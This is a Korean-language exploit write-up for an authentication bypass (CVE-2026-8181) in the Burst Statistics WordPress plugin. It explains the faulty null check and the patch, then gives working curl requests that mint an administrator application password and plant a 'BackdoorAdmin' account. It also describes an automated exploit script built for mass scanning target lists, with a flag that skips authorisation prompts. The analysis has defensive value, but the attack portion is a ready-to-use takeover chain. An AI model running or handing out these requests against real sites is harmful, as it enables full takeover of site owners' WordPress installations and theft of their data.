
Burst Statistics – 개인정보 보호 친화적인 WordPress 분석 (Google Analytics 대안) WordPress 플러그인이 Authentication Bypass에 취약합니다.
취약점 요약
WordPress 플러그인 Burst Statistics 버전 3.4.0부터 3.4.1.1은 인증되지 않은 인증 우회 취약점에 취약하며, 이로 인해 전체 관리자 계정 탈취가 가능합니다. 이 치명적인 결함을 통해 인증되지 않은 공격자가 관리자 사용자 이름을 알면 단일 HTTP 요청으로 해당 계정에 대한 유효한 WordPress 애플리케이션 비밀번호를 생성하여 사이트 전체에 지속적인 관리자 수준 액세스를 얻을 수 있습니다.
취약점은 class-mainwp-proxy.php의 is_mainwp_authenticated() 함수에서 비롯됩니다. 이 함수는 wp_authenticate_application_password()를 호출하고 결과가 WP_Error인지만 확인합니다. 결과가 실제로 성공적인 WP_User 객체인지 확인하지 않습니다. WordPress의 내부 필터 application_password_is_api_request가 false를 반환할 때(일반 REST API 인증 흐름 외부에서 호출된 경우) WordPress 함수는 WP_Error 또는 WP_User 대신 null을 반환합니다. null은 WP_Error가 아니므로 검사가 통과되고 공격자가 선택한 관리자 사용자가 wp_set_current_user()를 통해 현재 사용자로 설정됩니다.
현재 사용자가 관리자로 전환되면 후속 권한 검사가 통과됩니다. 그런 다음 공격자는 /burst/v1/mainwp-auth REST 엔드포인트에 도달하여 관리자 계정에 대한 WordPress 애플리케이션 비밀번호를 생성하고 응답에 반환합니다. 이는 공격자에게 지속적인 전체 관리자 수준 액세스를 제공합니다.
영향받는 플러그인
공격자가 할 수 있는 작업
기술 분석
Burst Statistics는 WordPress의 plugins_loaded 훅에서 우선순위 9로 class-burst.php 내에서 초기화됩니다:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access()는 모든 관리 기능의 게이트키퍼입니다. X-BurstMainWP 헤더를 확인하고 취약한 함수를 호출합니다:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password()가 null을 반환하는 이유WordPress 내부 함수 wp_authenticate_application_password()에는 다음과 같은 필터가 있습니다:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
REST API 인증 흐름 외부에서 호출되면 null을 반환합니다. Burst Statistics 코드는 is_wp_error($is_valid)만 확인했습니다. null은 WP_Error가 아니므로 검사가 잘못 통과됩니다.
X-BurstMainWP: 1 헤더를 모든 요청에 포함하여 전송has_admin_access()가 is_mainwp_authenticated()를 트리거wp_authenticate_application_password()가 null 반환 (API 컨텍스트 아님)is_wp_error(null) = false → 검사 통과wp_set_current_user($admin_id) 실행/burst/v1/mainwp-auth에 POST 요청handle_auth_request()가 WordPress 애플리케이션 비밀번호를 생성base64(username:app_password)로 반환// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
적용된 수정 사항:
application_password_is_api_request 필터를 true로 강제하여 실제 비밀번호 검증이 이루어지도록 함WP_User 인스턴스인지 확인 (null이 아님)hash_equals()를 사용하여 사용자 이름 일치 확인또한 REST 엔드포인트에 대한 check_auth_permission()은 current_user_can('manage_burst_statistics') 및 쿠키 인증 요청에 대한 명시적 nonce 확인을 요구하도록 강화되었습니다.
개념 증명
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
exploit_burst_statistics.py 스크립트는 전체 공격 체인을 자동화합니다:
readme.txt, 플러그인 헤더 또는 에셋 쿼리 문자열을 통한 버전 탐지X-BurstMainWP: 1 + 가짜 Basic Auth를 사용한 인증 우회로 토큰 생성익스플로잇 특징
/wp-json/)와 안 예쁜 퍼머링크(/?rest_route=) 모두 지원ThreadPoolExecutor를 사용한 대량 스캐닝사용법
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
targets.txt 생성:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
수정 권장 사항
개발자 및 사이트 소유자를 위한:
X-BurstMainWP: 1 헤더가 포함된 요청에 대한 서버 로그 검토타임라인
| 날짜 | 이벤트 |
|---|---|
| 2026-05-08 | CVE 예약 |
| 2026-05-11 | 공급업체에 통지 |
| 2026-05-13 | 공개 공개 |
| 2026-05-13 | 패치 출시 (v3.4.2) |
연구자
참고 자료
면책 조항
이 정보는 교육 및 승인된 모의 침투 테스트 목적으로만 제공됩니다. 컴퓨터 시스템의 무단 악용은 불법이며 비윤리적입니다. 소유하지 않은 대상을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
| 필드 | 값 |
|---|
| 플러그인 이름 | Burst Statistics – 개인정보 보호 친화적인 WordPress 분석 |
| 플러그인 슬러그 | burst-statistics |
| 영향받는 버전 | 3.4.0 – 3.4.1.1 |
| 패치된 버전 | 3.4.2 |
| CVE ID | CVE-2026-8181 |
| CVSS 점수 | 9.8 (Critical) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 취약점 유형 | 인증 우회 (부적절한 인증) |
| CWE | CWE-287 — 부적절한 인증 |
| 영향 | 전체 사이트 탈취 — 관리자 계정 탈취 |
| 기능 | 영향 |
|---|
| 모든 관리자에 대한 애플리케이션 비밀번호 생성 | 지속적인 관리자 액세스 |
| REST API를 통한 새 관리자 계정 생성 | 계정 확산 |
| 플러그인/테마 설치 | 원격 코드 실행 |
| 게시물, 페이지 및 설정 편집 | 사이트 변조 |
| 모든 사이트 데이터 내보내기 또는 삭제 | 데이터 파괴 / 유출 |
| WooCommerce/고객 데이터 액세스 | 데이터 유출 |
| 플래그 | 설명 |
|---|
-t, --target | 단일 대상 URL |
-l, --list | 대상 목록 파일 (한 줄에 하나) |
-T, --threads | 대량 스캔 스레드 수 (기본값: 10) |
-o, --output | 결과 출력 파일 (기본값: result_burst_statistics.txt) |
-u, --username | 알려진 관리자 사용자 이름 (열거 건너뛰기) |
-v, --verbose | 상세 디버그 출력 |
--timeout | 요청 시간 초과 (초) (기본값: 20) |
--no-confirm | 권한 확인 프롬프트 건너뛰기 |
| 2026-05-15 |
| 실제 환경에서 적극적인 악용 보고됨 |